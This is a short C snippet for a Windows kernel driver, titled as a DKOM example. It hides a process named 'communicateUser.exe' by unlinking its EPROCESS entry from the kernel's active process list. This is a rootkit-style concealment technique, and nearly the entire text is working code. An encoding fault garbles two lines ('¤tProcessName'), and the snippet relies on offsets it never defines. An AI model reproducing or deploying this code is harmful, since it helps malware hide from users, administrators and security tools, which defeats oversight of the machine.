EPROCESS Unlinking example in "C" using DKOM Manipulation, This does not bypass Patchguard or common PsRoutines
extern "C"
VOID HideProcess()
{
PLIST_ENTRY head, currentNode, prevNode;
PEPROCESS eprocessStart;
unsigned char* currentProcess = NULL;
const char target[] = "communicateUser.exe";
ANSI_STRING targetProcessName, currentProcessName;
eprocessStart = IoGetCurrentProcess();
head = currentNode = (PLIST_ENTRY)((unsigned char*)eprocessStart + listEntryOffset);
RtlInitAnsiString(&targetProcessName, target);
do
{
// LIST_ENTRY
currentProcess = (unsigned char*)((unsigned char*)currentNode - listEntryOffset);
RtlInitAnsiString(¤tProcessName, (const char*)((unsigned char*)currentProcess + nameOffset));
//Target Process
if (RtlCompareString(&targetProcessName, ¤tProcessName, TRUE) == 0)
{
DbgPrintEx(DPFLTR_IHVDRIVER_ID, 0, "Found target process %s.\n", target);
// TargetProcess
// (A->B->C->) to (A->C)
prevNode = currentNode->Blink;
prevNode->Flink = currentNode->Flink;
// TargetProcess
// (A<-B<-C<-) to (A<-C)
currentNode->Flink->Blink = prevNode;
// TargetProcess
currentNode->Flink = currentNode;
currentNode->Blink = currentNode;
break;
}
currentNode = currentNode->Flink;
} while (currentNode->Flink != head);
}